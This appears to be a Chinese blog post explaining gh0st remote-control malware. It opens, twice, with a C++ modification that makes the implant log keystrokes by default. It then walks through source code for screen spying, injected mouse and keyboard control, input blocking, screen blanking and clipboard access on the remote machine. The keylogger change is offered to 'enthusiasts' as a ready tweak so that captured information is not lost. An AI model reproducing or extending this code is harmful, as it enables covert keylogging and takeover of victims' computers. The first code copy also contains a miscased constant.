    闲时玩远控,私下有很多站友想在gh0st服务端运行的同时开启键盘记录,苦于对代码不熟,到处求人,还让人给拿一把,我在这里给出实现方法 ,希望对gh0st爱好者有所帮助。

         在KeyboardManager.cpp的 bool CKeyboardManager::StartHook()方法中,有这样一段代码:
         
        ZeroMemory(m_pTShared->str, sizeof(m_pTShared->str));

        GetSystemDirectory(m_pTShared->strRecordFile, sizeof(m_pTShared->strRecordFile));
        lstrcat(m_pTShared->strRecordFile, "\\keyboard.inf"); //keyboard.inf是自己给的记录文件名

        // 文件存在,就开始离线记录开启
        if (GetFileAttributes(m_pTShared->strRecordFile) != -1)
            m_pTShared->bIsOffline = true;
        else
            m_pTShared->bIsOffline = false;

    从这段代码可以看出,服务端启动后,自动判读有没有keyboard.inf这个文件,如果有,就自动开启离线记录,如果没有就默认没有开启键盘记录。

    我们在类构造的时候加上如下代码:
        char strRecordFile [MAX_PATH];
        GetSystemDirectory(strRecordFile, sizeof(strRecordFile));
        lstrcat(strRecordFile, "\\keyboard.inf");
        if (GetFileAttributes(strRecordFile) == -1)
        {
            HANDLE hFile = CreateFile(strRecordFile, GENERIC_WRITE, FILE_SHARE_WRITE, NULL,
                    Create_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
            CloseHandle(hFile);
        }


    在类初始化的时候,我们判读有没有键盘记录文件,如果没有,则自动创建一个新的键盘记录文件,服务端就会默认开启键盘记录了,这样就不用特意再打开服务端控制,从而避免有效信息丢失 ^_^

    闲时玩远控,私下有很多站友想在gh0st服务端运行的同时开启键盘记录,苦于对代码不熟,到处求人,还让人给拿一把,我在这里给出实现方法 ,希望对gh0st爱好者有所帮助。

         在KeyboardManager.cpp的 bool CKeyboardManager::StartHook()方法中,有这样一段代码:
      
    ZeroMemory(m_pTShared->str, sizeof(m_pTShared->str));

    GetSystemDirectory(m_pTShared->strRecordFile, sizeof(m_pTShared->strRecordFile));
    lstrcat(m_pTShared->strRecordFile, "\\keyboard.inf");   //keyboard.inf是自己给的记录文件名

    // 文件存在,就开始离线记录开启
    if (GetFileAttributes(m_pTShared->strRecordFile) != -1)
           m_pTShared->bIsOffline = true;
          else
           m_pTShared->bIsOffline = false;

    从这段代码可以看出,服务端启动后,自动判读有没有keyboard.inf这个文件,如果有,就自动开启离线记录,如果没有就默认没有开启键盘记录。

    我们在类构造的时候加上如下代码:
    char strRecordFile [MAX_PATH];
    GetSystemDirectory(strRecordFile, sizeof(strRecordFile));
    lstrcat(strRecordFile, "\\keyboard.inf");
    if (GetFileAttributes(strRecordFile) == -1)
    {
           HANDLE hFile = CreateFile(strRecordFile, GENERIC_WRITE, FILE_SHARE_WRITE, NULL,
                CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
           CloseHandle(hFile);
    }
    =============================================================================================================================

    在类初始化的时候,我们判读有没有键盘记录文件,如果没有,则自动创建一个新的键盘记录文件,服务端就会默认开启键盘记录了,这样就不用特意再打开服务端控制,从而避免有效信息丢失 ^_^

    远程主机流程图:


    客户机流程图:



    CGh0stApp theApp; 唯一的实例在初始化中调用了主框架的 Activate 函数:
    BOOL CGh0stApp::InitInstance()
    {
      ((CMainFrame*) m_pMainWnd)->Activate(nPort, nMaxConnection);
    }

    Activate 函数构造了一个  CIOCPServer 对象,然后调用 Initialize 函数初始化:
    void CMainFrame::Activate(UINT nPort, UINT nMaxConnections)
    {
      m_iocpServer = new CIOCPServer;
      m_iocpServer->Initialize(NotifyProc, this, 100000, nPort)
    }

    Initialize 注册了一个回调函数 m_pNotifyProc ,创建了一个监听套接字,一个监听线程 ListenThreadProc ,然后初始化 IOCP 服务端
    bool CIOCPServer::Initialize(NOTIFYPROC pNotifyProc, CMainFrame* pFrame, int nMaxConnections, int nPort)
    {
     m_pNotifyProc = pNotifyProc;
     m_socListen = WSASocket(AF_INET, SOCK_STREAM, 0, NULL, 0, WSA_FLAG_OVERLAPPED);
     nRet = bind(m_socListen, (LPSOCKADDR)&saServer, sizeof(struct sockaddr));
     nRet = listen(m_socListen, SOMAXCONN);
     m_hThread =(HANDLE)_beginthreadex(NULL,0,ListenThreadProc,(void*) this,0,&dwThreadId);
     InitializeIOCP();
    }

    IOCP 注册的回调函数 NotifyProc ,
    收到 NC_CLIENT_DISCONNECT 就从客户列表视图移除,
    收到 NC_RECEIVE 调用 ProcessReceive 函数,
    收到 NC_RECEIVE_COMPLETE 调用 ProcessReceiveComplete 函数
    void CALLBACK CMainFrame::NotifyProc(LPVOID lpParam, ClientContext *pContext, UINT nCode)
    {
      switch (nCode)
      {
      case NC_CLIENT_CONNECT:
       break;
      case NC_CLIENT_DISCONNECT:
       g_pConnectView->PostMessage(WM_REMOVEFROMLIST, 0, (LPARAM)pContext);
       break;
      case NC_TRANSMIT:
       break;
      case NC_RECEIVE:
       ProcessReceive(pContext);
       break;
      case NC_RECEIVE_COMPLETE:
       ProcessReceiveComplete(pContext);
       break;
      }
    }

    void CMainFrame::ProcessReceive(ClientContext *pContext)
    {
     if (pContext == NULL)
      return;
     // 如果管理对话框打开,交给相应的对话框处理
     CDialog *dlg = (CDialog *)pContext->m_Dialog[1];
     // 交给窗口处理
     if (pContext->m_Dialog[0] > 0)
     {
      switch (pContext->m_Dialog[0])
      {
      case SCREENSPY_DLG:
       ((CScreenSpyDlg *)dlg)->OnReceive();
       break;
      default:
       break;
      }
      return;
     }
    }

    void CMainFrame::ProcessReceiveComplete(ClientContext *pContext)
    {
     if (pContext == NULL)
      return;

     // 如果管理对话框打开,交给相应的对话框处理
     CDialog *dlg = (CDialog *)pContext->m_Dialog[1];
     
     // 交给窗口处理
     if (pContext->m_Dialog[0] > 0)
     {
      switch (pContext->m_Dialog[0])
      {
      case SCREENSPY_DLG:
       ((CScreenSpyDlg *)dlg)->OnReceiveComplete();
       break;
      default:
       break;
      }
      return;
     }

     switch (pContext->m_DeCompressionBuffer.GetBuffer(0)[0])
     {
     case TOKEN_AUTH: // 要求验证
      m_iocpServer->Send(pContext, (PBYTE)m_PassWord.GetBuffer(0), m_PassWord.GetLength() + 1);
      break;
     case TOKEN_HEARTBEAT: // 回复心跳包
      {
       BYTE bToken = COMMAND_REPLAY_HEARTBEAT;
       m_iocpServer->Send(pContext, (LPBYTE)&bToken, sizeof(bToken));
      }

       break;
     case TOKEN_LOGIN: // 上线包

      {
       if (m_iocpServer->m_nMaxConnections <= g_pConnectView->GetListCtrl().GetItemCount())
       {
        closesocket(pContext->m_Socket);
       }
       else
       {
        pContext->m_bIsMainSocket = true;
        g_pConnectView->PostMessage(WM_ADDTOLIST, 0, (LPARAM)pContext);
       }
       // 激活
       BYTE bToken = COMMAND_ACTIVED;
       m_iocpServer->Send(pContext, (LPBYTE)&bToken, sizeof(bToken));
      }

      break;
     case TOKEN_BITMAPINFO: //
      // 指接调用public函数非模态对话框会失去反应, 不知道怎么回事
      g_pConnectView->PostMessage(WM_OPENSCREENSPYDIALOG, 0, (LPARAM)pContext);
      break;
      // 命令停止当前操作
     default:
      closesocket(pContext->m_Socket);
      break;
     } 
    }

    现在从客户连接列表右键弹出菜单,选择“屏幕控制”选项开始。

     ON_COMMAND(IDM_SCREENSPY, OnScreenspy)

    void CGh0stView::OnScreenspy() 
    {
     BYTE bToken = COMMAND_SCREEN_SPY;
     SendSelectCommand(&bToken, sizeof(BYTE));
    }

    void CGh0stView::SendSelectCommand(PBYTE pData, UINT nSize)
    {
     ClientContext* pContext = (ClientContext*)m_pListCtrl->GetItemData(nItem);
     m_iocpServer->Send(pContext, pData, nSize);
    }

    void CIOCPServer::Send(ClientContext* pContext, LPBYTE lpData, UINT nSize)
    {
     //使用zlib压缩数据
     //构造包头 'G' 'h' '0' 's' 't' | PacketLen | UnZipLen
     //填充压缩后的数据
     OVERLAPPEDPLUS * pOverlap = new OVERLAPPEDPLUS(IOWrite);
     PostQueuedCompletionStatus(m_hCompletionPort, 0, (DWORD) pContext, &pOverlap->m_ol);
    }

    IOCP 的线程函数收到发送过来的消息,将这个消息映射到函数 IO_MESSAGE_HANDLER(IOWrite, OnClientWriting)
    unsigned CIOCPServer::ThreadPoolFunc (LPVOID thisContext)
    {
     pThis->ProcessIOMessage(pOverlapPlus->m_ioType, lpClientContext, dwIoSize);
    }

    bool CIOCPServer::OnClientWriting(ClientContext* pContext, DWORD dwIoSize)
    {
     OVERLAPPEDPLUS * pOverlap = new OVERLAPPEDPLUS(IOWrite);
     m_pNotifyProc((LPVOID) m_pFrame, pContext, NC_TRANSMIT); //表示正在传输,无实际意义
     int nRetVal = WSASend(pContext->m_Socket,  //发送命令到客户机
     &pContext->m_wsaOutBuffer,
     1,
     &pContext->m_wsaOutBuffer.len,
     ulFlags,
     &pOverlap->m_ol, 
     NULL);
    }

    客户机收到命令后回复主机已经准备好,ThreadPoolFunc 收到消息做好读操作

    IO_MESSAGE_HANDLER(IORead, OnClientReading)

    bool CIOCPServer::OnClientReading(ClientContext* pContext, DWORD dwIoSize)
    {
     //验证数据包格式
     //zlib解压缩数据
     //通知主框架接收完成
    m_pNotifyProc((LPVOID) m_pFrame, pContext, NC_RECEIVE_COMPLETE);
    }

    void CALLBACK CMainFrame::NotifyProc 函数响应操作,调用 ProcessReceiveComplete 函数,
    case TOKEN_BITMAPINFO: 响应操作
    g_pConnectView->PostMessage(WM_OPENSCREENSPYDIALOG, 0, (LPARAM)pContext);
    ON_MESSAGE(WM_OPENSCREENSPYDIALOG, OnOpenScreenSpyDialog)
    gh0stView 收到消息,转到 OnOpenScreenSpyDialog 函数处理

    LRESULT CGh0stView::OnOpenScreenSpyDialog(WPARAM wParam, LPARAM lParam)
    {
      //创建了一个 CScreenSpyDlg 的非模式对话框
     CScreenSpyDlg *dlg = new CScreenSpyDlg(this, m_iocpServer, pContext);
    }

    服务端不停地收到客户机发过来的数据,IOCP 接收线程产生 NC_RECEIVE 消息,CMainFrame::NotifyProc 处理,调用 ProcessReceive
    显示帧数和进度  \\192.168.1.101 800 * 600 第1532帧 100%

    NC_RECEIVE_COMPLETE 消息调用 ProcessReceiveComplete 函数处理
    ((CScreenSpyDlg *)dlg)->OnReceiveComplete();

    void CScreenSpyDlg::OnReceiveComplete()
    {
     //画图像
    }

    CScreenSpyDlg 重载 CDialog 的虚函数 PreTranslateMessage(MSG* pMsg) ,处理鼠标键盘事件
    BOOL CScreenSpyDlg::PreTranslateMessage(MSG* pMsg) 
    {

     #define MAKEDWORD(h,l)        (((unsigned long)h << 16) | l)

     CRect rect;
     GetClientRect(&rect);

     switch (pMsg->message)
     {
     case WM_LBUTTONDOWN:
     case WM_LBUTTONUP:
     case WM_RBUTTONDOWN:
     case WM_RBUTTONUP:
     case WM_MOUSEMOVE:
     case WM_LBUTTONDBLCLK:
     case WM_RBUTTONDBLCLK:
     case WM_MBUTTONDOWN:
     case WM_MBUTTONUP:
     case WM_MOUSEWHEEL:
      {
       MSG msg;
       memcpy(&msg, pMsg, sizeof(MSG));
       msg.lParam = MAKEDWORD(HIWORD(pMsg->lParam) + m_VScrollPos, LOWORD(pMsg->lParam) + m_HScrollPos);
       msg.pt.x += m_HScrollPos;
       msg.pt.y += m_VScrollPos;
       SendCommand(&msg);
      }
      break;
       case WM_KEYDOWN:
       case WM_KEYUP:
     case WM_SYSKEYDOWN:
     case WM_SYSKEYUP:
       if (pMsg->wParam != VK_LWIN && pMsg->wParam != VK_RWIN)
      {
       MSG msg;
       memcpy(&msg, pMsg, sizeof(MSG));
       msg.lParam = MAKEDWORD(HIWORD(pMsg->lParam) + m_VScrollPos, LOWORD(pMsg->lParam) + m_HScrollPos);
       msg.pt.x += m_HScrollPos;
       msg.pt.y += m_VScrollPos;
       SendCommand(&msg);
      }
      if (pMsg->wParam == VK_RETURN || pMsg->wParam == VK_ESCAPE)
       return true;
      break;
     default:
      break;
     }

     return CDialog::PreTranslateMessage(pMsg);
    }

    SendCommand 发送控制命令  COMMAND_SCREEN_CONTROL ,带上实际的消息数据到客户机
    void CScreenSpyDlg::SendCommand(MSG* pMsg)
    {
     if (!m_bIsCtrl)
      return;

     LPBYTE lpData = new BYTE[sizeof(MSG) + 1];
     lpData[0] = COMMAND_SCREEN_CONTROL;
     memcpy(lpData + 1, pMsg, sizeof(MSG));
     m_iocpServer->Send(m_pContext, lpData, sizeof(MSG) + 1);

     delete[] lpData;
    }

    -----------------------------------------------------------------------------

    客户端主函数:

    创建一个 CClientSocket 对象,一个 CKernelManager 对象,关联 socketClient 到 manager

    int main(int argc, char **argv)
    {
     CClientSocket socketClient;
     socketClient.Connect(lpszHost, dwPort);
     CKernelManager manager(&socketClient, strServiceName, g_dwServiceType, strKillEvent, lpszHost, dwPort);
     socketClient.setManagerCallBack(&manager);
    }

    class CKernelManager : public CManager 
    {
     public:
     virtual void OnReceive(LPBYTE lpBuffer, UINT nSize);
    }

    OnReceive 函数是个虚函数

    Connect 函数连接到服务器,同时创建了一个工作线程 WorkThread,
    bool CClientSocket::Connect(LPCTSTR lpszHost, UINT nPort)
    {
     connect(m_Socket, (SOCKADDR *)&ClientAddr, sizeof(ClientAddr))
     m_hWorkerThread = (HANDLE)MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)WorkThread, (LPVOID)this, 0, NULL, true);
    }

    WorkThread 接受数据,调用 OnRead 成员函数处理数据,

    DWORD WINAPI CClientSocket::WorkThread(LPVOID lparam) 
    {
     int nSize = recv(pThis->m_Socket, buff, sizeof(buff), 0);
     if (nSize > 0) pThis->OnRead((LPBYTE)buff, nSize);
    }

    OnRead 函数核查数据,转交给成员对象 m_pManager 处理,
    void CClientSocket::OnRead( LPBYTE lpBuffer, DWORD dwIoSize )
    {
     m_pManager->OnReceive(m_DeCompressionBuffer.GetBuffer(0), m_DeCompressionBuffer.GetBufferLen());
    }

    class CClientSocket
    {
     private:
     CManager *m_pManager;
    }

    m_pManager 是CClientSocket 的一个私有成员函数指针,指向 CManager,
     socketClient.setManagerCallBack(&manager); 
    这句代码设置 m_pManager 指向 CKernelManager 的对象,由于 CKernelManager 重新定义了 OnReceive 虚函数,
    所以 m_pManager->OnReceive 实际上调用了 CKernelManager 的 OnReceive


    void CKernelManager::OnReceive(LPBYTE lpBuffer, UINT nSize)
    {
     switch (lpBuffer[0])
     {
     case COMMAND_ACTIVED:
      InterlockedExchange((LONG *)&m_bIsActived, true);
      break;
     case COMMAND_SCREEN_SPY: // 屏幕查看
       m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_ScreenManager,
        (LPVOID)m_pClient->m_Socket, 0, NULL, true);
      break;
     case COMMAND_REPLAY_HEARTBEAT: // 回复心跳包
      break;
     }
    }

    Loop_ScreenManager 创建了一个 CClientSocket 对象,连接到远程主机,然后创建了一个 CScreenManager 对象,关联到 socketClient

    DWORD WINAPI Loop_ScreenManager(SOCKET sRemote)
    {
     CClientSocket socketClient;
     if (!socketClient.Connect(CKernelManager::m_strMasterHost, CKernelManager::m_nMasterPort))
      return -1;
     
     CScreenManager manager(&socketClient);

     socketClient.run_event_loop();
     return 0;
    }

    CScreenManager 构造函数创建了 2 个 工作线程

    CScreenManager::CScreenManager(CClientSocket *pClient):CManager(pClient)
    {
     m_hWorkThread = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)WorkThread, this, 0, NULL, true);
     m_hBlankThread = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)ControlThread, this, 0, NULL, true);
    }

    WorkThread 这个工作线程做的工作就是首先发送一个 TOKEN_BITMAPINFO 类型的数据包,
    远程主机收到这个包后,CMainFrame::NotifyProc 函数响应,调用 ProcessReceiveComplete 函数,
    case TOKEN_BITMAPINFO: 响应操作
    g_pConnectView->PostMessage(WM_OPENSCREENSPYDIALOG, 0, (LPARAM)pContext);
    自定义窗口消息被传到 gh0stView,CGh0stView::OnOpenScreenSpyDialog 函数被调用,此时一个 CScreenSpyDlg 对象被创建。
    然后做的工作就是不停地发送桌面位图到远程主机,

    DWORD WINAPI CScreenManager::WorkThread(LPVOID lparam)
    {
     CScreenManager *pThis = (CScreenManager *)lparam;

     pThis->sendBITMAPINFO();
     // 等控制端对话框打开

     pThis->WaitForDialogOpen();

     pThis->sendFirstScreen();
     try // 控制端强制关闭时会出错
        {
      while (pThis->m_bIsWorking)
       pThis->sendNextScreen();
     }catch(...){};

     return 0;
    }

    ControlThread 函数的主要目的是让客户机一直让显示器省电,黑屏

    DWORD WINAPI CScreenManager::ControlThread(LPVOID lparam)
    {
     if (pThis->m_bIsBlankScreen)
     {
      SystemParametersInfo(SPI_SETPOWEROFFACTIVE, 1, NULL, 0);
      SendMessage(HWND_BROADCAST, WM_SYSCOMMAND, SC_MONITORPOWER, (LPARAM)2);
      bIsScreenBlanked = true;
     }
    }

    下面看客户端和服务器端是怎么进行屏幕控制的

    回到 Loop_ScreenManager 函数,有一句代码 CScreenManager manager(&socketClient);

    class CScreenManager : public CManager

    CScreenManager 首先调用基类的构造函数 CManager(pClient)
    CManager 和 CClientSocket 是友元类,CManager 构造函数设置成员函数指针 m_pClient指向传进来的 pClient,同时设置 CClientSocket
    的成员函数指针 m_pManager 指向自己 this

    CManager::CManager(CClientSocket *pClient)
    {
     m_pClient = pClient;
     m_pClient->setManagerCallBack(this);
    }
    void CClientSocket::setManagerCallBack( CManager *pManager )
    {
     m_pManager = pManager;
    }


    CScreenManager 重新定义了 CManager 的虚函数 OnReceive,当 CClientSocket 对象的线程函数收到数据包时候,
    DWORD WINAPI CClientSocket::WorkThread(LPVOID lparam) 会调用
    pThis->OnRead((LPBYTE)buff, nSize); OnRead 会调用
    m_pManager->OnReceive(m_DeCompressionBuffer.GetBuffer(0), m_DeCompressionBuffer.GetBufferLen());

    void CScreenManager::OnReceive(LPBYTE lpBuffer, UINT nSize)
    {
     try
     {
       switch (lpBuffer[0])
       {
      case COMMAND_NEXT:
       // 通知内核远程控制端对话框已打开,WaitForDialogOpen可以返回
       NotifyDialogIsOpen();
       break;
      case COMMAND_SCREEN_RESET:
       ResetScreen(*(LPBYTE)&lpBuffer[1]);
       break;
      case COMMAND_ALGORITHM_RESET:
       m_bAlgorithm = *(LPBYTE)&lpBuffer[1];
       m_pScreenSpy->setAlgorithm(m_bAlgorithm);
       break;
      case COMMAND_SCREEN_CTRL_ALT_DEL:
       ::SimulateCtrlAltDel();
       break;
      case COMMAND_SCREEN_CONTROL:
       {
        // 远程仍然可以操作
        BlockInput(false);
        ProcessCommand(lpBuffer + 1, nSize - 1);
        BlockInput(m_bIsBlockInput);
       }
       break;
      case COMMAND_SCREEN_BLOCK_INPUT: //ControlThread里锁定
       m_bIsBlockInput = *(LPBYTE)&lpBuffer[1];
       break;
      case COMMAND_SCREEN_BLANK:
       m_bIsBlankScreen = *(LPBYTE)&lpBuffer[1];
       break;
      case COMMAND_SCREEN_CAPTURE_LAYER:
       m_bIsCaptureLayer = *(LPBYTE)&lpBuffer[1];
       m_pScreenSpy->setCaptureLayer(m_bIsCaptureLayer);
       break;
      case COMMAND_SCREEN_GET_CLIPBOARD:
       SendLocalClipboard();
       break;
      case COMMAND_SCREEN_SET_CLIPBOARD:
       UpdateLocalClipboard((char *)lpBuffer + 1, nSize - 1);
       break;
      default:
       break;
      }
     }catch(...){}
    }

    服务端发送的鼠标键盘事件由  ProcessCommand 函数处理,此函数的功能就是切换到当前桌面,模拟鼠标键盘输入
    SwitchInputDesktop()是自定义函数
    void CScreenManager::ProcessCommand( LPBYTE lpBuffer, UINT nSize )
    {
     // 数据包不合法
     if (nSize % sizeof(MSG) != 0)
      return;

     SwitchInputDesktop();

     // 命令个数
     int nCount = nSize / sizeof(MSG);

     // 处理多个命令
     for (int i = 0; i < nCount; i++)
     {
      MSG *pMsg = (MSG *)(lpBuffer + i * sizeof(MSG));
      switch (pMsg->message)
      {
       case WM_LBUTTONDOWN:
       case WM_LBUTTONUP:
       case WM_RBUTTONDOWN:
       case WM_RBUTTONUP:
       case WM_MOUSEMOVE:
       case WM_LBUTTONDBLCLK:
       case WM_RBUTTONDBLCLK:
       case WM_MBUTTONDOWN:
       case WM_MBUTTONUP:
        {
         POINT point;
         point.x = LOWORD(pMsg->lParam);
         point.y = HIWORD(pMsg->lParam);
         SetCursorPos(point.x, point.y);
         SetCapture(WindowFromPoint(point));
        }
        break;
       default:
        break;
      }

      switch(pMsg->message)
      {
       case WM_LBUTTONDOWN:
        mouse_event(MOUSEEVENTF_LEFTDOWN, 0, 0, 0, 0);
        break;
       case WM_LBUTTONUP:
        mouse_event(MOUSEEVENTF_LEFTUP, 0, 0, 0, 0);
        break;
       case WM_RBUTTONDOWN:
        mouse_event(MOUSEEVENTF_RIGHTDOWN, 0, 0, 0, 0);
        break;
       case WM_RBUTTONUP:
        mouse_event(MOUSEEVENTF_RIGHTUP, 0, 0, 0, 0);
        break;
        case WM_LBUTTONDBLCLK:
        mouse_event(MOUSEEVENTF_LEFTDOWN | MOUSEEVENTF_LEFTUP, 0, 0, 0, 0);
        mouse_event(MOUSEEVENTF_LEFTDOWN | MOUSEEVENTF_LEFTUP, 0, 0, 0, 0);
         break;
        case WM_RBUTTONDBLCLK:
         mouse_event(MOUSEEVENTF_RIGHTDOWN | MOUSEEVENTF_RIGHTUP, 0, 0, 0, 0);
        mouse_event(MOUSEEVENTF_RIGHTDOWN | MOUSEEVENTF_RIGHTUP, 0, 0, 0, 0);
         break;
       case WM_MBUTTONDOWN:
        mouse_event(MOUSEEVENTF_MIDDLEDOWN, 0, 0, 0, 0);
         break;
       case WM_MBUTTONUP:
        mouse_event(MOUSEEVENTF_MIDDLEUP, 0, 0, 0, 0);
        break;
       case WM_MOUSEWHEEL:
        mouse_event(MOUSEEVENTF_WHEEL, 0, 0, GET_WHEEL_DELTA_WPARAM(pMsg->wParam), 0);
        break;
       case WM_KEYDOWN:
       case WM_SYSKEYDOWN:
        keybd_event(pMsg->wParam, MapVirtualKey(pMsg->wParam, 0), 0, 0);
        break; 
       case WM_KEYUP:
       case WM_SYSKEYUP:
        keybd_event(pMsg->wParam, MapVirtualKey(pMsg->wParam, 0), KEYEVENTF_KEYUP, 0);
        break;
       default:
        break;
      }
     }
    }

     

     

     

     

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值